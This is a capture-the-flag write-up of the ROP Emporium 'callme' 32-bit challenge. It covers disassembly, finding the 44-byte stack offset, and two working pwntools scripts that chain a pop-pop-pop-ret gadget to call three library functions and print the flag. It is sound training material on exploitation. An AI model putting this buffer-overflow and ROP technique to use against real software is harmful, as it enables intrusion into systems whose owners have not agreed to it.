ROP Emporium - callme (32 bit)

14 minute read

Lets list our files for this challenge,

total 36
drwxrwxr-x  2 ra ra 4096 Jul 15 20:38 .
drwxr-xr-x 41 ra ra 4096 Jul 15 20:38 ..
-rwxr-xr-x  1 ra ra 7508 Jul  6  2020 callme32
-rw-r--r--  1 ra ra   32 Jul  6  2020 encrypted_flag.dat
-rw-r--r--  1 ra ra   16 Jul  4  2020 key1.dat
-rw-r--r--  1 ra ra   16 Jul  4  2020 key2.dat
-rwxr-xr-x  1 ra ra 7160 Jul  6  2020 libcallme32.so

Now, lets check the file type of our binary using file command,

ra@moni:~/callme32$ file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ca5cba17bcd8926f0cda98986ef619c55023b6d, not stripped

It is a 32 bit not stripped binary, so we can view symbols in it

Lets check the security mitigations of the binary,

ra@moni:~/callme32$ checksec callme32
[*] '/home/ra/callme32/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  '.'

Here NX bit is set, so we cannot perform execution in stack

To bypass NX/ASLR we can use ROP techniques

Lets list the functions inside callme,

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0804848c  _init
0x080484c0  read@plt
0x080484d0  printf@plt
0x080484e0  callme_three@plt
0x080484f0  callme_one@plt
0x08048500  puts@plt
0x08048510  exit@plt
0x08048520  __libc_start_main@plt
0x08048530  setvbuf@plt
0x08048540  memset@plt
0x08048550  callme_two@plt
0x08048560  __gmon_start__@plt
0x08048570  _start
0x080485b0  _dl_relocate_static_pie
0x080485c0  __x86.get_pc_thunk.bx
0x080485d0  deregister_tm_clones
0x08048610  register_tm_clones
0x08048650  __do_global_dtors_aux
0x08048680  frame_dummy
0x08048686  main
0x080486ed  pwnme
0x0804874f  usefulFunction
0x080487a0  __libc_csu_init
0x08048800  __libc_csu_fini
0x08048804  _fini

Here main() calls pwnme()

And here there are some unsual functions,

usefulFunction(),callme_one() , callme_two() and callme_three()

Here callme_one() , callme_two() and callme_three() are from PLT table which is being dynamically loaded, from a shared library named libcallme32.so

Disassembling usefulFunction(),

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804874f <+0>:	push   ebp
   0x08048750 <+1>:	mov    ebp,esp
   0x08048752 <+3>:	sub    esp,0x8
   0x08048755 <+6>:	sub    esp,0x4
   0x08048758 <+9>:	push   0x6
   0x0804875a <+11>:	push   0x5
   0x0804875c <+13>:	push   0x4
   0x0804875e <+15>:	call   0x80484e0 <callme_three@plt>
   0x08048763 <+20>:	add    esp,0x10
   0x08048766 <+23>:	sub    esp,0x4
   0x08048769 <+26>:	push   0x6
   0x0804876b <+28>:	push   0x5
   0x0804876d <+30>:	push   0x4
   0x0804876f <+32>:	call   0x8048550 <callme_two@plt>
   0x08048774 <+37>:	add    esp,0x10
   0x08048777 <+40>:	sub    esp,0x4
   0x0804877a <+43>:	push   0x6
   0x0804877c <+45>:	push   0x5
   0x0804877e <+47>:	push   0x4
   0x08048780 <+49>:	call   0x80484f0 <callme_one@plt>
   0x08048785 <+54>:	add    esp,0x10
   0x08048788 <+57>:	sub    esp,0xc
   0x0804878b <+60>:	push   0x1
   0x0804878d <+62>:	call   0x8048510 <exit@plt>
End of assembler dump.

Here, these functions are called by args (4,5,6) which is not suitable for us (Given in HINT)

So calling this function will not be useful

Lets disassemble the functions from our shared object

Disassembling callme_one(),

pwndbg> disassemble callme_one
Dump of assembler code for function callme_one:
   0x0000063d <+0>:	push   ebp
   0x0000063e <+1>:	mov    ebp,esp
   0x00000640 <+3>:	push   ebx
   0x00000641 <+4>:	sub    esp,0x14
   0x00000644 <+7>:	call   0x540 <__x86.get_pc_thunk.bx>
   0x00000649 <+12>:	add    ebx,0x19b7
   0x0000064f <+18>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x00000656 <+25>:	jne    0x733 <callme_one+246>
   0x0000065c <+31>:	cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0x00000663 <+38>:	jne    0x733 <callme_one+246>
   0x00000669 <+44>:	cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0x00000670 <+51>:	jne    0x733 <callme_one+246>
   0x00000676 <+57>:	mov    DWORD PTR [ebp-0xc],0x0
   0x0000067d <+64>:	sub    esp,0x8
   0x00000680 <+67>:	lea    eax,[ebx-0x1600]
   0x00000686 <+73>:	push   eax
   0x00000687 <+74>:	lea    eax,[ebx-0x15fe]
   0x0000068d <+80>:	push   eax
   0x0000068e <+81>:	call   0x510 <fopen@plt>
   0x00000693 <+86>:	add    esp,0x10
   0x00000696 <+89>:	mov    DWORD PTR [ebp-0xc],eax
   0x00000699 <+92>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x0000069d <+96>:	jne    0x6bb <callme_one+126>
   0x0000069f <+98>:	sub    esp,0xc
   0x000006a2 <+101>:	lea    eax,[ebx-0x15e8]
   0x000006a8 <+107>:	push   eax
   0x000006a9 <+108>:	call   0x4f0 <puts@plt>
   0x000006ae <+113>:	add    esp,0x10
   0x000006b1 <+116>:	sub    esp,0xc
   0x000006b4 <+119>:	push   0x1
   0x000006b6 <+121>:	call   0x500 <exit@plt>
   0x000006bb <+126>:	sub    esp,0xc
   0x000006be <+129>:	push   0x21
   0x000006c0 <+131>:	call   0x4e0 <malloc@plt>
   0x000006c5 <+136>:	add    esp,0x10
   0x000006c8 <+139>:	mov    DWORD PTR [ebx+0x30],eax
   0x000006ce <+145>:	mov    eax,DWORD PTR [ebx+0x30]
   0x000006d4 <+151>:	test   eax,eax
   0x000006d6 <+153>:	jne    0x6f4 <callme_one+183>
   0x000006d8 <+155>:	sub    esp,0xc
   0x000006db <+158>:	lea    eax,[ebx-0x15c6]
   0x000006e1 <+164>:	push   eax
   0x000006e2 <+165>:	call   0x4f0 <puts@plt>
   0x000006e7 <+170>:	add    esp,0x10
   0x000006ea <+173>:	sub    esp,0xc
   0x000006ed <+176>:	push   0x1
   0x000006ef <+178>:	call   0x500 <exit@plt>
   0x000006f4 <+183>:	mov    eax,DWORD PTR [ebx+0x30]
   0x000006fa <+189>:	sub    esp,0x4
   0x000006fd <+192>:	push   DWORD PTR [ebp-0xc]
   0x00000700 <+195>:	push   0x21
   0x00000702 <+197>:	push   eax
   0x00000703 <+198>:	call   0x4c0 <fgets@plt>
   0x00000708 <+203>:	add    esp,0x10
   0x0000070b <+206>:	mov    DWORD PTR [ebx+0x30],eax
   0x00000711 <+212>:	sub    esp,0xc
   0x00000714 <+215>:	push   DWORD PTR [ebp-0xc]
   0x00000717 <+218>:	call   0x4d0 <fclose@plt>
   0x0000071c <+223>:	add    esp,0x10
   0x0000071f <+226>:	sub    esp,0xc
   0x00000722 <+229>:	lea    eax,[ebx-0x15ac]
   0x00000728 <+235>:	push   eax
   0x00000729 <+236>:	call   0x4f0 <puts@plt>
   0x0000072e <+241>:	add    esp,0x10
   0x00000731 <+244>:	jmp    0x74f <callme_one+274>
   0x00000733 <+246>:	sub    esp,0xc
   0x00000736 <+249>:	lea    eax,[ebx-0x158e]
   0x0000073c <+255>:	push   eax
   0x0000073d <+256>:	call   0x4f0 <puts@plt>
   0x00000742 <+261>:	add    esp,0x10
   0x00000745 <+264>:	sub    esp,0xc
   0x00000748 <+267>:	push   0x1
   0x0000074a <+269>:	call   0x500 <exit@plt>
   0x0000074f <+274>:	nop
   0x00000750 <+275>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x00000753 <+278>:	leave
   0x00000754 <+279>:	ret
End of assembler dump.

Disassembling callme_two(),

pwndbg> disassemble callme_two
Dump of assembler code for function callme_two:
   0x00000755 <+0>:	push   ebp
   0x00000756 <+1>:	mov    ebp,esp
   0x00000758 <+3>:	push   esi
   0x00000759 <+4>:	push   ebx
   0x0000075a <+5>:	sub    esp,0x10
   0x0000075d <+8>:	call   0x540 <__x86.get_pc_thunk.bx>
   0x00000762 <+13>:	add    ebx,0x189e
   0x00000768 <+19>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0000076f <+26>:	jne    0x831 <callme_two+220>
   0x00000775 <+32>:	cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0x0000077c <+39>:	jne    0x831 <callme_two+220>
   0x00000782 <+45>:	cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0x00000789 <+52>:	jne    0x831 <callme_two+220>
   0x0000078f <+58>:	mov    DWORD PTR [ebp-0xc],0x0
   0x00000796 <+65>:	sub    esp,0x8
   0x00000799 <+68>:	lea    eax,[ebx-0x1600]
   0x0000079f <+74>:	push   eax
   0x000007a0 <+75>:	lea    eax,[ebx-0x1579]
   0x000007a6 <+81>:	push   eax
   0x000007a7 <+82>:	call   0x510 <fopen@plt>
   0x000007ac <+87>:	add    esp,0x10
   0x000007af <+90>:	mov    DWORD PTR [ebp-0xc],eax
   0x000007b2 <+93>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x000007b6 <+97>:	jne    0x7d4 <callme_two+127>
   0x000007b8 <+99>:	sub    esp,0xc
   0x000007bb <+102>:	lea    eax,[ebx-0x1570]
   0x000007c1 <+108>:	push   eax
   0x000007c2 <+109>:	call   0x4f0 <puts@plt>
   0x000007c7 <+114>:	add    esp,0x10
   0x000007ca <+117>:	sub    esp,0xc
   0x000007cd <+120>:	push   0x1
   0x000007cf <+122>:	call   0x500 <exit@plt>
   0x000007d4 <+127>:	mov    DWORD PTR [ebp-0x10],0x0
   0x000007db <+134>:	mov    DWORD PTR [ebp-0x10],0x0
   0x000007e2 <+141>:	jmp    0x817 <callme_two+194>
   0x000007e4 <+143>:	sub    esp,0xc
   0x000007e7 <+146>:	push   DWORD PTR [ebp-0xc]
   0x000007ea <+149>:	call   0x520 <fgetc@plt>
   0x000007ef <+154>:	add    esp,0x10
   0x000007f2 <+157>:	mov    esi,eax
   0x000007f4 <+159>:	mov    edx,DWORD PTR [ebx+0x30]
   0x000007fa <+165>:	mov    eax,DWORD PTR [ebp-0x10]
   0x000007fd <+168>:	add    eax,edx
   0x000007ff <+170>:	movzx  ecx,BYTE PTR [eax]
   0x00000802 <+173>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000808 <+179>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0000080b <+182>:	add    eax,edx
   0x0000080d <+184>:	mov    edx,esi
   0x0000080f <+186>:	xor    edx,ecx
   0x00000811 <+188>:	mov    BYTE PTR [eax],dl
   0x00000813 <+190>:	add    DWORD PTR [ebp-0x10],0x1
   0x00000817 <+194>:	cmp    DWORD PTR [ebp-0x10],0xf
   0x0000081b <+198>:	jle    0x7e4 <callme_two+143>
   0x0000081d <+200>:	sub    esp,0xc
   0x00000820 <+203>:	lea    eax,[ebx-0x1558]
   0x00000826 <+209>:	push   eax
   0x00000827 <+210>:	call   0x4f0 <puts@plt>
   0x0000082c <+215>:	add    esp,0x10
   0x0000082f <+218>:	jmp    0x84d <callme_two+248>
   0x00000831 <+220>:	sub    esp,0xc
   0x00000834 <+223>:	lea    eax,[ebx-0x158e]
   0x0000083a <+229>:	push   eax
   0x0000083b <+230>:	call   0x4f0 <puts@plt>
   0x00000840 <+235>:	add    esp,0x10
   0x00000843 <+238>:	sub    esp,0xc
   0x00000846 <+241>:	push   0x1
   0x00000848 <+243>:	call   0x500 <exit@plt>
   0x0000084d <+248>:	nop
   0x0000084e <+249>:	lea    esp,[ebp-0x8]
   0x00000851 <+252>:	pop    ebx
   0x00000852 <+253>:	pop    esi
   0x00000853 <+254>:	pop    ebp
   0x00000854 <+255>:	ret
End of assembler dump.

Disassembling callme_three(),

pwndbg> disassemble callme_three
Dump of assembler code for function callme_three:
   0x00000855 <+0>:	push   ebp
   0x00000856 <+1>:	mov    ebp,esp
   0x00000858 <+3>:	push   esi
   0x00000859 <+4>:	push   ebx
   0x0000085a <+5>:	sub    esp,0x10
   0x0000085d <+8>:	call   0x540 <__x86.get_pc_thunk.bx>
   0x00000862 <+13>:	add    ebx,0x179e
   0x00000868 <+19>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0000086f <+26>:	jne    0x9cf <callme_three+378>
   0x00000875 <+32>:	cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0x0000087c <+39>:	jne    0x9cf <callme_three+378>
   0x00000882 <+45>:	cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0x00000889 <+52>:	jne    0x9cf <callme_three+378>
   0x0000088f <+58>:	mov    DWORD PTR [ebp-0xc],0x0
   0x00000896 <+65>:	sub    esp,0x8
   0x00000899 <+68>:	lea    eax,[ebx-0x1600]
   0x0000089f <+74>:	push   eax
   0x000008a0 <+75>:	lea    eax,[ebx-0x153a]
   0x000008a6 <+81>:	push   eax
   0x000008a7 <+82>:	call   0x510 <fopen@plt>
   0x000008ac <+87>:	add    esp,0x10
   0x000008af <+90>:	mov    DWORD PTR [ebp-0xc],eax
   0x000008b2 <+93>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x000008b6 <+97>:	jne    0x8d4 <callme_three+127>
   0x000008b8 <+99>:	sub    esp,0xc
   0x000008bb <+102>:	lea    eax,[ebx-0x1531]
   0x000008c1 <+108>:	push   eax
   0x000008c2 <+109>:	call   0x4f0 <puts@plt>
   0x000008c7 <+114>:	add    esp,0x10
   0x000008ca <+117>:	sub    esp,0xc
   0x000008cd <+120>:	push   0x1
   0x000008cf <+122>:	call   0x500 <exit@plt>
   0x000008d4 <+127>:	mov    DWORD PTR [ebp-0x10],0x10
   0x000008db <+134>:	mov    DWORD PTR [ebp-0x10],0x10
   0x000008e2 <+141>:	jmp    0x917 <callme_three+194>
   0x000008e4 <+143>:	sub    esp,0xc
   0x000008e7 <+146>:	push   DWORD PTR [ebp-0xc]
   0x000008ea <+149>:	call   0x520 <fgetc@plt>
   0x000008ef <+154>:	add    esp,0x10
   0x000008f2 <+157>:	mov    esi,eax
   0x000008f4 <+159>:	mov    edx,DWORD PTR [ebx+0x30]
   0x000008fa <+165>:	mov    eax,DWORD PTR [ebp-0x10]
   0x000008fd <+168>:	add    eax,edx
   0x000008ff <+170>:	movzx  ecx,BYTE PTR [eax]
   0x00000902 <+173>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000908 <+179>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0000090b <+182>:	add    eax,edx
   0x0000090d <+184>:	mov    edx,esi
   0x0000090f <+186>:	xor    edx,ecx
   0x00000911 <+188>:	mov    BYTE PTR [eax],dl
   0x00000913 <+190>:	add    DWORD PTR [ebp-0x10],0x1
   0x00000917 <+194>:	cmp    DWORD PTR [ebp-0x10],0x1f
   0x0000091b <+198>:	jle    0x8e4 <callme_three+143>
   0x0000091d <+200>:	mov    eax,DWORD PTR [ebx+0x30]
   0x00000923 <+206>:	add    eax,0x4
   0x00000926 <+209>:	mov    eax,DWORD PTR [eax]
   0x00000928 <+211>:	mov    edx,DWORD PTR [ebx+0x30]
   0x0000092e <+217>:	add    edx,0x4
   0x00000931 <+220>:	xor    eax,DWORD PTR [ebp+0x8]
   0x00000934 <+223>:	mov    DWORD PTR [edx],eax
   0x00000936 <+225>:	mov    eax,DWORD PTR [ebx+0x30]
   0x0000093c <+231>:	add    eax,0x8
   0x0000093f <+234>:	mov    eax,DWORD PTR [eax]
   0x00000941 <+236>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000947 <+242>:	add    edx,0x8
   0x0000094a <+245>:	xor    eax,DWORD PTR [ebp+0x8]
   0x0000094d <+248>:	mov    DWORD PTR [edx],eax
   0x0000094f <+250>:	mov    eax,DWORD PTR [ebx+0x30]
   0x00000955 <+256>:	add    eax,0xc
   0x00000958 <+259>:	mov    eax,DWORD PTR [eax]
   0x0000095a <+261>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000960 <+267>:	add    edx,0xc
   0x00000963 <+270>:	xor    eax,DWORD PTR [ebp+0xc]
   0x00000966 <+273>:	mov    DWORD PTR [edx],eax
   0x00000968 <+275>:	mov    eax,DWORD PTR [ebx+0x30]
   0x0000096e <+281>:	add    eax,0x10
   0x00000971 <+284>:	mov    eax,DWORD PTR [eax]
   0x00000973 <+286>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000979 <+292>:	add    edx,0x10
   0x0000097c <+295>:	xor    eax,DWORD PTR [ebp+0xc]
   0x0000097f <+298>:	mov    DWORD PTR [edx],eax
   0x00000981 <+300>:	mov    eax,DWORD PTR [ebx+0x30]
   0x00000987 <+306>:	add    eax,0x14
   0x0000098a <+309>:	mov    eax,DWORD PTR [eax]
   0x0000098c <+311>:	mov    edx,DWORD PTR [ebx+0x30]
   0x00000992 <+317>:	add    edx,0x14
   0x00000995 <+320>:	xor    eax,DWORD PTR [ebp+0x10]
   0x00000998 <+323>:	mov    DWORD PTR [edx],eax
   0x0000099a <+325>:	mov    eax,DWORD PTR [ebx+0x30]
   0x000009a0 <+331>:	add    eax,0x18
   0x000009a3 <+334>:	mov    eax,DWORD PTR [eax]
   0x000009a5 <+336>:	mov    edx,DWORD PTR [ebx+0x30]
   0x000009ab <+342>:	add    edx,0x18
   0x000009ae <+345>:	xor    eax,DWORD PTR [ebp+0x10]
   0x000009b1 <+348>:	mov    DWORD PTR [edx],eax
   0x000009b3 <+350>:	mov    eax,DWORD PTR [ebx+0x30]
   0x000009b9 <+356>:	sub    esp,0xc
   0x000009bc <+359>:	push   eax
   0x000009bd <+360>:	call   0x4f0 <puts@plt>
   0x000009c2 <+365>:	add    esp,0x10
   0x000009c5 <+368>:	sub    esp,0xc
   0x000009c8 <+371>:	push   0x0
   0x000009ca <+373>:	call   0x500 <exit@plt>
   0x000009cf <+378>:	sub    esp,0xc
   0x000009d2 <+381>:	lea    eax,[ebx-0x158e]
   0x000009d8 <+387>:	push   eax
   0x000009d9 <+388>:	call   0x4f0 <puts@plt>
   0x000009de <+393>:	add    esp,0x10
   0x000009e1 <+396>:	sub    esp,0xc
   0x000009e4 <+399>:	push   0x1
   0x000009e6 <+401>:	call   0x500 <exit@plt>
End of assembler dump.

On these three functions, there is a common condition check

   0x00000868 <+19>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0000086f <+26>:	jne    0x9cf <callme_three+378>
   0x00000875 <+32>:	cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0x0000087c <+39>:	jne    0x9cf <callme_three+378>
   0x00000882 <+45>:	cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0x00000889 <+52>:	jne    0x9cf <callme_three+378>

These functions require three arguments from stack and compares it with 0xdeadbeef , 0xcafebabe and 0xd00df00d to pass the if loop

So we know the right arguments to be passed into these function,but we need to call it in order (mentioned in HINT) to decrypt our flag

HINT:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

We need to call these functions in the following order,

callme_one(0xdeadbeef,0xcafebabe,0xd00df00d)
                            ↓
callme_two(0xdeadbeef,0xcafebabe,0xd00df00d)
                            ↓
callme_three(0xdeadbeef,0xcafebabe,0xd00df00d)

To perform successful ROP attack, we need to find the buffer space,

pwndbg> b *0x08048739
Breakpoint 1 at 0x8048739
pwndbg> r
Starting program: /home/ra/callme32/callme32
callme by ROP Emporium
x86

Hope you read the instructions...

> AAAABBBBCCCCDDDD

Breakpoint 1, 0x08048739 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 EAX  0x11
 EBX  0x0
 ECX  0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
 EDX  0x200
 EDI  0xf7faa000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0xf7faa000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 EBP  0xffffd1f8 —▸ 0xffffd208 ◂— 0x0
 ESP  0xffffd1c0 ◂— 0x0
 EIP  0x8048739 (pwnme+76) ◂— add    esp, 0x10
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x8048739 <pwnme+76>            add    esp, 0x10
   0x804873c <pwnme+79>            sub    esp, 0xc
   0x804873f <pwnme+82>            push   0x804886e
   0x8048744 <pwnme+87>            call   puts@plt <puts@plt>

   0x8048749 <pwnme+92>            add    esp, 0x10
   0x804874c <pwnme+95>            nop
   0x804874d <pwnme+96>            leave
   0x804874e <pwnme+97>            ret

   0x804874f <usefulFunction>      push   ebp
   0x8048750 <usefulFunction+1>    mov    ebp, esp
   0x8048752 <usefulFunction+3>    sub    esp, 8
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 esp 0xffffd1c0 ◂— 0x0
01:0004     0xffffd1c4 —▸ 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
02:0008     0xffffd1c8 ◂— 0x200
03:000c     0xffffd1cc ◂— 0x4
04:0010 ecx 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014     0xffffd1d4 ◂— 'BBBBCCCCDDDD\n'
06:0018     0xffffd1d8 ◂— 'CCCCDDDD\n'
07:001c     0xffffd1dc ◂— 'DDDD\n'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0 0x8048739 pwnme+76
   f 1 0x80486d0 main+74
   f 2 0xf7dddee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────

Now lets check our Base Pointer and Stack values,

pwndbg> x/2wx $ebp
0xffffd1f8:	0xffffd208	0x080486d0
pwndbg> x/20wx $esp
0xffffd1c0:	0x00000000	0xffffd1d0	0x00000200	0x00000004
0xffffd1d0:	0x41414141	0x42424242	0x43434343	0x44444444
0xffffd1e0:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd1f0:	0x08048837	0x00000000	0xffffd208	0x080486d0
0xffffd200:	0xf7fe22f0	0xffffd220	0x00000000	0xf7dddee5

Our base pointer is at 0xffffd1f9 and our buffer begins at 0xffffd1d0

>>> print(0xffffd1f8-0xffffd1d0)
40

Our buffer space is 40 bytes

To reach Instruction Pointer we need to pass 44 bytes (40+4) of junk data

Lets build the ROP chain,


44 bytes of junk
       +
Addr of callme_one
       +
Addr for ret function
       +
Args for function
       +
Addr of callme_two
       +
Addr for ret function
       +
Args for function
       +
Addr of callme_three
       +
Addr for ret function
       +
Args for function

For ret function we use the address of pop esi; pop edi; pop ebp; ret gadget

ra@moni:~/callme32$ ropper -f callme32  --search "pop esi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop esi

[INFO] File: callme32
0x080487f9: pop esi; pop edi; pop ebp; ret;

So our address of ret gadget is 0x080487f9

Lets craft an exploit for this,

ra@moni:~/callme32$ cat exp32.py
from pwn import *
arg1=p32(0xdeadbeef)
arg2=p32(0xcafebabe)
arg3=p32(0xd00df00d)
args=arg1+arg2+arg3
callme_one=p32(0x80484f0)
callme_two=p32(0x8048550)
callme_three=p32(0x80484e0)
exit=p32(0x080487f9)
junk='A'*44
buff=""
buff+=junk
buff+=callme_one
buff+=exit
buff+=args
buff+=callme_two
buff+=exit
buff+=args
buff+=callme_three
buff+=exit
buff+=args
print(buff)

Lets try running our exploit,

ra@moni:~/callme32$ python2 exp32.py  | ./callme32
callme by ROP Emporium
x86

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

Lets automate our exploit,

from pwn import *
bin=ELF('./callme32')
p=process('./callme32')
arg1=p32(0xdeadbeef)
arg2=p32(0xcafebabe)
arg3=p32(0xd00df00d)
callme_one=p32(bin.symbols['callme_one'])
callme_two=p32(bin.symbols['callme_two'])
callme_three=p32(bin.symbols['callme_three'])
rop=ROP(bin)
gadget=rop.esi_edi_ebp
gadget=p32(gadget.address)
buff=""
buff+='A'*44
buff+=callme_one
buff+=gadget
buff+=arg1+arg2+arg3
buff+=callme_two
buff+=gadget
buff+=arg1+arg2+arg3
buff+=callme_three
buff+=gadget
buff+=arg1+arg2+arg3
p.sendline(buff)
p.interactive()

Lets try running this,

ra@moni:~/callme32$ python2 exp32-auto.py
[*] '/home/ra/callme32/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  '.'
[+] Starting local process './callme32': pid 22821
[*] Loaded 10 cached gadgets for './callme32'
[*] Switching to interactive mode
[*] Process './callme32' stopped with exit code 0 (pid 22821)
callme by ROP Emporium
x86

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Done! we have completed “callme” 32 bit challenge